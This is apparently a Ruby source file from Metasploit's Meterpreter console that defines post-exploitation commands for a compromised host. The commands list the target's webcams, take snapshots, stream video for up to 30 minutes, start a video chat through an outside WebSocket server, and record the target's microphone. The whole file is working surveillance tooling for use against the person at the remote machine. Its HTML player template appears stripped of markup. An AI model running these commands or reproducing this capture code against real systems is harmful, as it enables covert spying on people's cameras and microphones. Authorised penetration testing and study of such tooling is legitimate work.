# -*- coding: binary -*- require 'rex/post/meterpreter' module Rex module Post module Meterpreter module Ui ### # # Webcam - Capture video from the remote system # ### class Console::CommandDispatcher::Stdapi::Webcam Klass = Console::CommandDispatcher::Stdapi::Webcam include Console::CommandDispatcher # # List of supported commands. # def commands all = { "webcam_chat" => "Start a video chat", "webcam_list" => "List webcams", "webcam_snap" => "Take a snapshot from the specified webcam", "webcam_stream" => "Play a video stream from the specified webcam", "record_mic" => "Record audio from the default microphone for X seconds" } reqs = { "webcam_chat" => [ "webcam_list" ], "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "record_mic" => [ "webcam_audio_record" ], } all.delete_if do |cmd, desc| del = false reqs[cmd].each do |req| next if client.commands.include? req del = true break end del end all end # # Name for this dispatcher # def name "Stdapi: Webcam" end def cmd_webcam_list begin client.webcam.webcam_list.each_with_index { |name, indx| print_line("#{indx + 1}: #{name}") } return true rescue print_error("No webcams were found") return false end end def cmd_webcam_snap(*args) path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 view = true index = 1 wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-i" => [ true, "The index of the webcam to use (Default: 1)" ], "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] ) webcam_snap_opts.parse( args ) { | opt, idx, val | case opt when "-h" print_line( "Usage: webcam_snap [options]\n" ) print_line( "Grab a frame from the specified webcam." ) print_line( webcam_snap_opts.usage ) return when "-i" index = val.to_i when "-q" quality = val.to_i when "-p" path = val when "-v" view = false if ( val =~ /^(f|n|0)/i ) end } begin wc_list << client.webcam.webcam_list rescue end if wc_list.length > 0 begin print_status("Starting...") client.webcam.webcam_start(index) data = client.webcam.webcam_get_frame(quality) print_good("Got frame") ensure client.webcam.webcam_stop print_status("Stopped") end if( data ) ::File.open( path, 'wb' ) do |fd| fd.write( data ) end path = ::File.expand_path( path ) print_line( "Webcam shot saved to: #{path}" ) Rex::Compat.open_file( path ) if view end return true else print_error("No webcams where found") return false end end def cmd_webcam_chat(*args) if client.webcam.webcam_list.length == 0 print_error("Target does not have a webcam") return end server = 'wsnodejs.jit.su:80' webcam_chat_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner"], "-s" => [ false, "WebSocket server" ] ) webcam_chat_opts.parse( args ) { | opt, idx, val | case opt when "-h" print_line( "Usage: webcam_chat [options]\n" ) print_line( "Starts a video conversation with your target." ) print_line( "Browser Requirements:") print_line( "Chrome: version 23 or newer" ) print_line( "Firefox: version 22 or newer" ) print_line( webcam_chat_opts.usage ) return when "-s" server = val.to_s end } begin print_status("Webcam chat session initialized.") client.webcam.webcam_chat(server) rescue RuntimeError => e print_error(e.message) end end def cmd_webcam_stream(*args) print_status("Starting...") stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" duration = 1800 quality = 50 view = true index = 1 wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min "-i" => [ true, "The index of the webcam to use (Default: 1)" ], "-q" => [ true, "The stream quality (Default: '#{quality}')" ], "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ], "-t" => [ true, "The stream player path (Default: #{player_path})"], "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) webcam_snap_opts.parse( args ) { | opt, idx, val | case opt when "-h" print_line( "Usage: webcam_stream [options]\n" ) print_line( "Stream from the specified webcam." ) print_line( webcam_snap_opts.usage ) return when "-d" duration = val.to_i when "-i" index = val.to_i when "-q" quality = val.to_i when "-s" stream_path = val when "-t" player_path = val when "-v" view = false if ( val =~ /^(f|n|0)/i ) end } print_status("Preparing player...") html = %Q| Metasploit webcam_stream - #{client.sock.peerhost}
Target IP  : #{client.sock.peerhost}
Start time : #{Time.now}
Status     : 



www.metasploit.com | ::File.open(player_path, 'wb') do |f| f.write(html) end if view print_status("Opening player at: #{player_path}") Rex::Compat.open_file(player_path) else print_status("Please open the player manually with a browser: #{player_path}") end print_status("Streaming...") begin client.webcam.webcam_start(index) ::Timeout.timeout(duration) { while client do data = client.webcam.webcam_get_frame(quality) if data ::File.open(stream_path, 'wb') do |f| f.write(data) end data = nil end end } rescue ::Timeout::Error ensure client.webcam.webcam_stop end print_status("Stopped") end def cmd_record_mic(*args) path = Rex::Text.rand_text_alpha(8) + ".wav" play = true duration = 1 record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) record_mic_opts.parse( args ) { | opt, idx, val | case opt when "-h" print_line( "Usage: record_mic [options]\n" ) print_line( "Records audio from the default microphone." ) print_line( record_mic_opts.usage ) return when "-d" duration = val.to_i when "-f" path = val when "-p" play = false if ( val =~ /^(f|n|0)/i ) end } print_status("Starting...") data = client.webcam.record_mic(duration) print_status("Stopped") if( data ) ::File.open( path, 'wb' ) do |fd| fd.write( data ) end path = ::File.expand_path( path ) print_line( "Audio saved to: #{path}" ) Rex::Compat.play_sound( path ) if play end return true end end end end end end